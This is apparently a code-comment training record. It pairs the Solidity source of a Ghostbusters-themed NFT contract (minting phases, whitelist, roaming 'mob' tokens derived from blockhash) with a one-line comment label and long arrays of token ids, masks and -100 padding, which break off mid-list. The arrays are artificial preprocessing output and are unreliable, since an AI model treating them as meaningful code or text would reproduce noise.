function contractState() public view returns(uint _tokenCount, Phase _phase, uint mobMax){
return (tokenCount,phase(),mobTokenIds[3]);
}
/// Pre-Reserve
/// @notice Pre-reserve tokens during Pre-Reserve phase if whitelisted. Max 2 per address. Must pay mint fee
/// @param merkleProof Merkle proof for your address in the whitelist
/// @param _count Number of tokens to reserve
function preReserve(bytes32[] memory merkleProof, uint8 _count) external payable{
require(!paused,"paused");
require(phase() == Phase.PreReserve,"phase");
require(msg.value >= PRICE_MINT * _count,"PRICE_MINT");
require(whitelistReserveCount[msg.sender] + _count <= WHITELIST_RESERVE_LIMIT,"whitelistReserveCount");
require(presaleCount + _count < PRESALE_LIMIT,"PRESALE_LIMIT");
require(GBAWhitelist(whitelist).isWhitelisted(merkleProof,msg.sender),"whitelist");
whitelistReserveCount[msg.sender] += _count;
presaleCount += _count;
_reserve(_count,msg.sender,true);
}
/// Mint Giveaway
/// @notice Mint tokens for giveaway
/// @param numTokens Number of tokens to mint
function mintGiveaway(uint16 numTokens) public onlyOwner {
require(tokensGiven + numTokens <= TOKENS_GIVEAWAY,"tokensGiven");
require(tokenCount + numTokens <= SALE_MAX,"SALE_MAX");
for(uint i = 0; i < numTokens; i++){
tokensGiven++;
_mint(msg.sender,++tokenCount);
}
}
/// Withdraw All
/// @notice Withdraw all Eth from mint fees
function withdrawAll() public onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
/// Reserve
/// @notice Reserve tokens. Max 10 per tx, one tx per 10 blocks. Can't be called by contracts. Must be in Reserve phase. Must pay mint fee.
/// @param _count Number of tokens to reserve
/// @dev requires tx.origin == msg.sender
function reserve(uint16 _count) public payable{
require(msg.sender == tx.origin,"origin");
require(!paused,"paused");
require(phase() == Phase.Reserve,"phase");
require(_count <= TRANSACTION_LIMIT,"TRANSACTION_LIMIT");
require(msg.value >= uint(_count) * PRICE_MINT,"PRICE MINT");
_reserve(_count,msg.sender,false);
}
/// Internal Reserve
/// @notice Does the work in both Reserve and PreReserve
/// @param _count Number of tokens being reserved
/// @param _to Address that is reserving
/// @param ignoreCooldown Don't revert for cooldown.Used in pre-reserve
function _reserve(uint16 _count, address _to, bool ignoreCooldown) internal{
require(tokenCount + _count <= SALE_MAX, "SALE_MAX");
require(ignoreCooldown ||
reservations[_to].block == 0 || block.number >= uint(reservations[_to].block) + COOLDOWN
,"COOLDOWN");
for(uint16 i = 0; i < _count; i++){
reservations[address(_to)].tokens.push(++tokenCount);
emit Reserve(_to,tokenCount);
}
reservations[_to].block = uint24(block.number);
}
/// Claim
/// @notice Mint reserved tokens
/// @param reservist Address with reserved tokens.
/// @param _count Number of reserved tokens mint.
/// @dev Allows anyone to call claim for anyone else. Will mint to the address that made the reservations.
function claim(address reservist, uint _count) public{
require(!paused,"paused");
require(
phase() == Phase.Final
,"phase");
require( reservations[reservist].tokens.length >= _count, "_count");
for(uint i = 0; i < _count; i++){
uint tokenId = uint(reservations[reservist].tokens[reservations[reservist].tokens.length - 1]);
reservations[reservist].tokens.pop();
_mint(reservist,tokenId);
emit Claim(reservist,tokenId);
}
updateMobStart();
updateMobFinish();
}
/// Mint
/// @notice Mint unreserved tokens. Must pay mint fee.
/// @param _count Number of reserved tokens mint.
function mint(uint _count) public payable{
require(!paused,"paused");
require(
phase() == Phase.Final
,"phase");
require(msg.value >= _count * PRICE_MINT,"PRICE");
require(tokenCount + uint16(_count) <= SALE_MAX,"SALE_MAX");
for(uint i = 0; i < _count; i++){
_mint(msg.sender,uint(++tokenCount));
}
updateMobStart();
updateMobFinish();
}
/// Update URI
/// @notice Update URI base and suffix
/// @param _uriBase URI base
/// @param _uriSuffix URI suffix
/// @dev Pushing size limits (Spurious Dragon), so rather than having an explicit lock function, it can be implicit by renouncing ownership.
function updateURI(string memory _uriBase, string memory _uriSuffix) public onlyOwner{
__uriBase = _uriBase;
__uriSuffix = _uriSuffix;
}
/// Phase
/// @notice Internal function to calculate current Phase
/// @return Phase (enum value)
function phase() internal view returns(Phase){
uint _startTime = startTime;
if(_startTime == 0){
return Phase.Init;
}else if(block.timestamp <= _startTime + 2 hours){
return Phase.PreReserve;
}else if(block.timestamp <= _startTime + 2 hours + 1 days && tokenCount < SALE_MAX){
return Phase.Reserve;
}else{
return Phase.Final;
}
}
/// Pause State
/// @notice Get current pause state
/// @return _paused Contract is paused
/// @return _startTime Start timestamp of Cat phase (adjusted for pauses)
/// @return _pauseTime Timestamp of pause
function pauseState() view public returns(bool _paused,uint _startTime,uint _pauseTime){
return (paused,startTime,pauseTime);
}
/// Disable pause
/// @notice Disable mint pausability
function disablePause() public onlyOwner{
if(paused) togglePause();
unpausable = true;
}
/// Toggle pause
/// @notice Toggle pause on/off
function togglePause() public onlyOwner{
if(startTime == 0){
startTime = block.timestamp;
paused = false;
emit Pause(false,startTime,pauseTime);
return;
}
require(!unpausable,"unpausable");
bool _pause = !paused;
if(_pause){
pauseTime = block.timestamp;
}else if(pauseTime != 0){
startTime += block.timestamp - pauseTime;
delete pauseTime;
}
paused = _pause;
emit Pause(_pause,startTime,pauseTime);
}
/// Get Mob Owner
/// @notice Internal func to calculate the owner of a given mob for a given mob hash
/// @param _mobIndex Index of mob to check (0-2)
/// @param _mobHash Mob hash to base calcs off
/// @return Address of the calculated owner
function getMobOwner(uint _mobIndex, bytes32 _mobHash) internal view returns(address){
bytes32 mobModulo = extractBytes(_mobHash, _mobIndex + 1);
bytes32 locationHash = extractBytes(_mobHash,4);
uint hash = uint(keccak256(abi.encodePacked(locationHash,_mobIndex,mobModulo)));
uint index = hash % uint(mobModulo);
address _owner = owners[tokens[index]];
if(mobReleased){
return _owner;
}else{
return address(0);
}
}
/// Get Mob Token ID (internal)
/// @notice Internal func to calculate mob token ID given an index
/// @dev Doesn't check invalid vals, inferred by places where its used and saves gas
/// @param _mobIndex Index of mob to calculate
/// @return tokenId of mob
function _getMobTokenId(uint _mobIndex) internal view returns(uint){
return MOB_OFFSET+uint(mobTokenIds[_mobIndex]);
}
/// Get Mob Token ID
/// @notice Calculate mob token ID given an index
/// @dev Doesn't fail for _mobIndex = 3, because of Spurious Dragon and because it doesnt matter
/// @param _mobIndex Index of mob to calculate
/// @return tokenId of mob
function getMobTokenId(uint _mobIndex) public view returns(uint){
uint tokenId = _getMobTokenId(_mobIndex);
require(tokenId != MOB_OFFSET,"no token");
return tokenId;
}
/// Extract Bytes
/// @notice Get the nth 4-byte chunk from a bytes32
/// @param data Data to extract bytes from
/// @param index Index of chunk
function extractBytes(bytes32 data, uint index) internal pure returns(bytes32){
uint inset = 32 * ( 7 - index );
uint outset = 32 * index;
return ((data << outset) >> outset) >> inset;
}
/// Extract Bytes
/// @notice Bit shift a bytes32 for XOR packing
/// @param data Data to bit shift
/// @param index How many 4-byte segments to shift it by
function shiftBytes(bytes32 data, uint index) internal pure returns(bytes32){
uint inset = 32 * ( 7 - index );
return data << inset;
}
/// Release Mob
/// @notice Start Mob
function releaseMob() public onlyOwner{
require(!mobReleased,"released");
require(tokens.length > 0, "no mint");
mobReleased = true;
bytes32 _mobHash = mobHash; //READ
uint eliminationBlock = block.number - (block.number % 245) - 10; //READ
bytes32 updateHash = extractBytes(keccak256(abi.encodePacked(_mobHash)),0);
bytes32 mobModulo = bytes32(tokens.length);
bytes32 destinationHash = extractBytes( blockhash(eliminationBlock),4) ;
bytes32 newMobHash = shiftBytes(updateHash,0) ^ //WRITE
shiftBytes(mobModulo,1) ^
shiftBytes(mobModulo,2) ^
shiftBytes(mobModulo,3) ^
shiftBytes(destinationHash,4);
for(uint i = 0; i < 3; i++){
uint _tokenId = _getMobTokenId(i); //READ x 3
emit Transfer(address(0),getMobOwner(i,newMobHash),_tokenId); //EMIT x 3 max
}
mobHash = newMobHash;
}
/// Update Mobs Start
/// @notice Internal - Emits all the events sending mobs to 0. First part of mobs moving
function updateMobStart() internal{
if(!mobReleased || mobTokenIds[3] == 0) return;
//BURN THEM
bytes32 _mobHash = mobHash; //READ
for(uint i = 0; i < 3; i++){
uint _tokenId = _getMobTokenId(i); //READ x 3
if(_tokenId != MOB_OFFSET){
emit Transfer(getMobOwner(i,_mobHash),address(0),_tokenId); //READx3, EMIT x 3 max
}
}
}
/// Update Mobs Finish
/// @notice Internal - Calculates mob owners and emits events sending to them. Second part of mobs moving
function updateMobFinish() internal {
if(!mobReleased) {
require(gasleft() > 100000,"gas failsafe");
return;
}
if(mobTokenIds[3] == 0) return;
require(gasleft() > 64500,"gas failsafe");
bytes32 _mobHash = mobHash; //READ
uint eliminationBlock = block.number - (block.number % 245) - 10; //READ
bytes32 updateHash = extractBytes(keccak256(abi.encodePacked(_mobHash)),0);
bytes32 mobModulo0 = extractBytes(_mobHash,1);
bytes32 mobModulo1 = extractBytes(_mobHash,2);
bytes32 mobModulo2 = extractBytes(_mobHash,3);
bytes32 destinationHash = extractBytes( blockhash(eliminationBlock),4);
bytes32 newMobHash = shiftBytes(updateHash,0) ^
shiftBytes(mobModulo0,1) ^
shiftBytes(mobModulo1,2) ^
shiftBytes(mobModulo2,3) ^
shiftBytes(destinationHash,4);
mobHash = newMobHash; //WRITE
for(uint i = 0; i < 3; i++){
uint _tokenId = _getMobTokenId(i); //READ x 3
if(_tokenId != MOB_OFFSET){
emit Transfer(address(0),getMobOwner(i,newMobHash),_tokenId); //READx3, EMIT x 3 max
}
}
}
/// Update Catch Mob
/// @notice Catch a mob that's in your wallet
/// @param _mobIndex Index of mob to catch
/// @dev Mints real token and updates mobs
function catchMob(uint _mobIndex) public {
IGBATrapsPartial(trapContract).useTrap(msg.sender);
require(_mobIndex < 3,"mobIndex");
bytes32 _mobHash = mobHash;
address mobOwner = getMobOwner(_mobIndex,_mobHash);
require(msg.sender == mobOwner,"owner");
updateMobStart(); //Kill all mobs
bytes32 updateHash = extractBytes(_mobHash,0);
bytes32[3] memory mobModulo;
for(uint i = 0; i < 3; i++){
mobModulo[i] = extractBytes(_mobHash,i + 1);
}
uint mobTokenId = _getMobTokenId(_mobIndex); //READ
//Mint real one
_mint(msg.sender,mobTokenId+MOB_OFFSET);
bool mintNewMob = true;
if(mobTokenIds[3] < TOTAL_MOB_COUNT){
mobTokenIds[_mobIndex] = ++mobTokenIds[3];
}else{
mintNewMob = false;
//if final 3
mobTokenIds[3]++;
mobTokenIds[_mobIndex] = 0;
if(mobTokenIds[3] == TOTAL_MOB_COUNT + 3){
//if final mob, clear last slot to identify end condition
delete mobTokenIds[3];
}
}
mobModulo[_mobIndex] = bytes32(tokens.length);
uint eliminationBlock = block.number - (block.number % 245) - 10; //READ
bytes32 destinationHash = extractBytes( blockhash(eliminationBlock),4);
mobHash = shiftBytes(updateHash,0) ^ //WRITE
shiftBytes(mobModulo[0],1) ^
shiftBytes(mobModulo[1],2) ^
shiftBytes(mobModulo[2],3) ^
shiftBytes(destinationHash,4);
updateMobFinish(); //release mobs
}
/// Mint (internal)
/// @notice Mints real tokens as per ERC721
/// @param _to Address to mint it for
/// @param _tokenId Token to mint
function _mint(address _to,uint _tokenId) internal{
emit Transfer(address(0), _to, _tokenId);
owners[_tokenId] =_to;
balances[_to]++;
tokens.push(_tokenId);
}
/// Is Valid Token (internal)
/// @notice Checks if given tokenId exists (Doesn't apply to mobs)
/// @param _tokenId TokenId to check
function isValidToken(uint256 _tokenId) internal view returns(bool){
return owners[_tokenId] != address(0);
}
/// Require Valid (internal)
/// @notice Reverts if given token doesn't exist
function requireValid(uint _tokenId) internal view{
require(isValidToken(_tokenId),"valid");
}
/// Balance Of
/// @notice ERC721 balanceOf func, includes active mobs
function balanceOf(address _owner) external override view returns (uint256){
uint _balance = balances[_owner];
bytes32 _mobHash = mobHash;
for(uint i = 0; i < 3; i++){
if(getMobOwner(i, _mobHash) == _owner){
_balance++;
}
}
return _balance;
}
/// Owner Of
/// @notice ERC721 ownerOf func, includes active mobs
function ownerOf(uint256 _tokenId) public override view returns(address){
bytes32 _mobHash = mobHash;
for(uint i = 0; i < 3; i++){
if(_getMobTokenId(i) == _tokenId){
address owner = getMobOwner(i,_mobHash);
require(owner != address(0),"invalid");
return owner;
}
}
requireValid(_tokenId);
return owners[_tokenId];
}
/// Approve
/// @notice ERC721 function
function approve(address _approved, uint256 _tokenId) external override{
address _owner = owners[_tokenId];
require( _owner == msg.sender //Require Sender Owns Token
|| authorised[_owner][msg.sender] // or is approved for all.
,"permission");
emit Approval(_owner, _approved, _tokenId);
allowance[_tokenId] = _approved;
}
/// Get Approved
/// @notice ERC721 function
function getApproved(uint256 _tokenId) external view override returns (address) {
// require(isValidToken(_tokenId),"invalid");
requireValid(_tokenId);
return allowance[_tokenId];
}
/// Is Approved For All
/// @notice ERC721 function
function isApprovedForAll(address _owner, address _operator) external view override returns (bool) {
return authorised[_owner][_operator];
}
/// Set Approval For All
/// @notice ERC721 function
function setApprovalForAll(address _operator, bool _approved) external override {
emit ApprovalForAll(msg.sender,_operator, _approved);
authorised[msg.sender][_operator] = _approved;
}
/// Transfer From
/// @notice ERC721 function
/// @dev Fails for mobs
function transferFrom(address _from, address _to, uint256 _tokenId) public override {
requireValid(_tokenId);
//Check Transferable
//There is a token validity check in ownerOf
address _owner = owners[_tokenId];
require ( _owner == msg.sender //Require sender owns token
//Doing the two below manually instead of referring to the external methods saves gas
|| allowance[_tokenId] == msg.sender //or is approved for this token
|| authorised[_owner][msg.sender] //or is approved for all
,"permission");
require(_owner == _from,"owner");
require(_to != address(0),"zero");
updateMobStart();
emit Transfer(_from, _to, _tokenId);
owners[_tokenId] =_to;
balances[_from]--;
balances[_to]++;
//Reset approved if there is one
if(allowance[_tokenId] != address(0)){
delete allowance[_tokenId];
}
updateMobFinish();
}
/// Safe Transfer From
/// @notice ERC721 function
/// @dev Fails for mobs
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) public override {
transferFrom(_from, _to, _tokenId);
//Get size of "_to" address, if 0 it's a wallet
uint32 size;
assembly {
size := extcodesize(_to)
}
if(size > 0){
IERC721TokenReceiver receiver = IERC721TokenReceiver(_to);
require(receiver.onERC721Received(msg.sender,_from,_tokenId,data) == bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")),"receiver");
}
}
/// Safe Transfer From
/// @notice ERC721 function
/// @dev Fails for mobs
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external override {
safeTransferFrom(_from,_to,_tokenId,"");
}
/// Name
/// @notice ERC721 Metadata function
/// @return _name Name of token
function name() external pure override returns (string memory _name){
return "Ghostbusters: Afterlife Collectibles";
}
/// Symbol
/// @notice ERC721 Metadata function
/// @return _symbol Symbol of token
function symbol() external pure override returns (string memory _symbol){
return "GBAC";
}
/// Token URI
/// @notice ERC721 Metadata function (includes active mobs)
/// @param _tokenId ID of token to check
/// @return URI (string)
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
ownerOf(_tokenId); //includes validity check
return string(abi.encodePacked(__uriBase,toString(_tokenId),__uriSuffix));
}
/// To String
/// @notice Converts uint to string
/// @param value uint to convert
/// @return String
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
// ENUMERABLE FUNCTIONS (not actually needed for compliance but everyone likes totalSupply)
function totalSupply() public view returns (uint256){
uint highestMob = mobTokenIds[3];
if(!mobReleased || highestMob == 0){
return tokens.length;
}else if(highestMob < TOTAL_MOB_COUNT){
return tokens.length + 3;
}else{
return tokens.length + 3 - (TOTAL_MOB_COUNT - highestMob);
}
}
function supportsInterface(bytes4 interfaceID) external override view returns (bool){
return supportedInterfaces[interfaceID];
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @title ERC-721 Non-Fungible Token Standard
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x80ac58cd.
interface IERC721 /* is ERC165 */ {
/// @dev This emits when ownership of any NFT changes by any mechanism.
/// This event emits when NFTs are created (`from` == 0) and destroyed
/// (`to` == 0). Exception: during contract creation, any number of NFTs
/// may be created and assigned without emitting Transfer. At the time of
/// any transfer, the approved address for that NFT (if any) is reset to none.
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
/// @dev This emits when the approved address for an NFT is changed or
/// reaffirmed. The zero address indicates there is no approved address.
/// When a Transfer event emits, this also indicates that the approved
/// address for that NFT (if any) is reset to none.
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
/// @dev This emits when an operator is enabled or disabled for an owner.
/// The operator can manage all NFTs of the owner.
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/// @notice Count all NFTs assigned to an owner
/// @dev NFTs assigned to the zero address are considered invalid, and this
/// function throws for queries about the zero address.
/// @param _owner An address for whom to query the balance
/// @return The number of NFTs owned by `_owner`, possibly zero
function balanceOf(address _owner) external view returns (uint256);
/// @notice Find the owner of an NFT
/// @dev NFTs assigned to zero address are considered invalid, and queries
/// about them do throw.
/// @param _tokenId The identifier for an NFT
/// @return The address of the owner of the NFT
function ownerOf(uint256 _tokenId) external view returns (address);
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `_to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `_to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata data) external;
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
/// except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Change or reaffirm the approved address for an NFT
/// @dev The zero address indicates there is no approved address.
/// Throws unless `msg.sender` is the current NFT owner, or an authorized
/// operator of the current owner.
/// @param _approved The new approved NFT controller
/// @param _tokenId The NFT to approve
function approve(address _approved, uint256 _tokenId) external;
/// @notice Enable or disable approval for a third party ("operator") to manage
/// all of `msg.sender`'s assets
/// @dev Emits the ApprovalForAll event. The contract MUST allow
/// multiple operators per owner.
/// @param _operator Address to add to the set of authorized operators
/// @param _approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address _operator, bool _approved) external;
/// @notice Get the approved address for a single NFT
/// @dev Throws if `_tokenId` is not a valid NFT.
/// @param _tokenId The NFT to find the approved address for
/// @return The approved address for this NFT, or the zero address if there is none
function getApproved(uint256 _tokenId) external view returns (address);
/// @notice Query if an address is an authorized operator for another address
/// @param _owner The address that owns the NFTs
/// @param _operator The address that acts on behalf of the owner
/// @return True if `_operator` is an approved operator for `_owner`, false otherwise
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x780e9d63.
interface IERC721Enumerable /* is ERC721 */ {
/// @notice Count NFTs tracked by this contract
/// @return A count of valid NFTs tracked by this contract, where each one of
/// them has an assigned and queryable owner not equal to the zero address
function totalSupply() external view returns (uint256);
/// @notice Enumerate valid NFTs
/// @dev Throws if `_index` >= `totalSupply()`.
/// @param _index A counter less than `totalSupply()`
/// @return The token identifier for the `_index`th NFT,
/// (sort order not specified)
function tokenByIndex(uint256 _index) external view returns (uint256);
/// @notice Enumerate NFTs assigned to an owner
/// @dev Throws if `_index` >= `balanceOf(_owner)` or if
/// `_owner` is the zero address, representing invalid NFTs.
/// @param _owner An address where we are interested in NFTs owned by them
/// @param _index A counter less than `balanceOf(_owner)`
/// @return The token identifier for the `_index`th NFT assigned to `_owner`,
/// (sort order not specified)
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @title ERC-721 Non-Fungible Token Standard, optional metadata extension
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x5b5e139f.
interface IERC721Metadata /* is ERC721 */ {
/// @notice A descriptive name for a collection of NFTs in this contract
function name() external view returns (string memory _name);
/// @notice An abbreviated name for NFTs in this contract
function symbol() external view returns (string memory _symbol);
/// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
/// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
/// 3986. The URI may point to a JSON file that conforms to the "ERC721
/// Metadata JSON Schema".
function tokenURI(uint256 _tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @dev Note: the ERC-165 identifier for this interface is 0x150b7a02.
interface IERC721TokenReceiver {
/// @notice Handle the receipt of an NFT
/// @dev The ERC721 smart contract calls this function on the recipient
/// after a `transfer`. This function MAY throw to revert and reject the
/// transfer. Return of other than the magic value MUST result in the
/// transaction being reverted.
/// Note: the contract address is always the message sender.
/// @param _operator The address which called `safeTransferFrom` function
/// @param _from The address which previously owned the token
/// @param _tokenId The NFT identifier which is being transferred
/// @param _data Additional data with no specified format
/// @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
/// unless throwing
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IERC165 {
/// @notice Query if a contract implements an interface
/// @param interfaceID The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
/// @return `true` if the contract implements `interfaceID` and
/// `interfaceID` is not 0xffffffff, `false` otherwise
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author Andrew Parker
/// @title Ghost Busters: Afterlife Traps NFT contract partial interface
/// @notice For viewer func, and also for MSP because Traps relies on OpenZepp and MSP uses pure 721 implementation.
interface IGBATrapsPartial{
enum State { Paused, Whitelist, Public, Final}
function useTrap(address owner) external;
function tokensClaimed() external view returns(uint);
function hasMinted(address minter) external view returns(bool);
function saleStarted() external view returns(bool);
function whitelistEndTime() external view returns(uint);
function balanceOf(address _owner) external view returns (uint256);
function mintState() external view returns(State);
function countdown() external view returns(uint);
function totalSupply() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* OpenZeppelin's Ownable, but without Context, because it saves about 500 bytes
* and compiled contract is pushing limits of Spurious Dragon and is unnecessary.
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(msg.sender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == msg.sender, "onlyOwner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "zero");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/// @author Andrew Parker
/// @title GBA Whitelist NFT Contract
/// @notice Implementation of OpenZeppelin MerkleProof contract for GBA MiniStayPuft and Traps NFTs
contract GBAWhitelist{
bytes32 merkleRoot;
/// Constructor
/// @param _merkleRoot root of merkle tree
constructor(bytes32 _merkleRoot){
merkleRoot = _merkleRoot;
}
/// Is Whitelisted
/// @notice Is a given address whitelisted based on proof provided
/// @param proof Merkle proof
/// @param claimer address to check
/// @return Is whitelisted
function isWhitelisted(bytes32[] memory proof, address claimer) public view returns(bool){
bytes32 leaf = keccak256(abi.encodePacked(claimer));
return MerkleProof.verify(proof,merkleRoot,leaf);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
| Mapping of token allowances
| mapping (address => mapping (address => bool)) internal authorised; | 12,695,782 | [
1,
3233,
434,
1147,
1699,
6872,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
1426,
3719,
2713,
2869,
5918,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
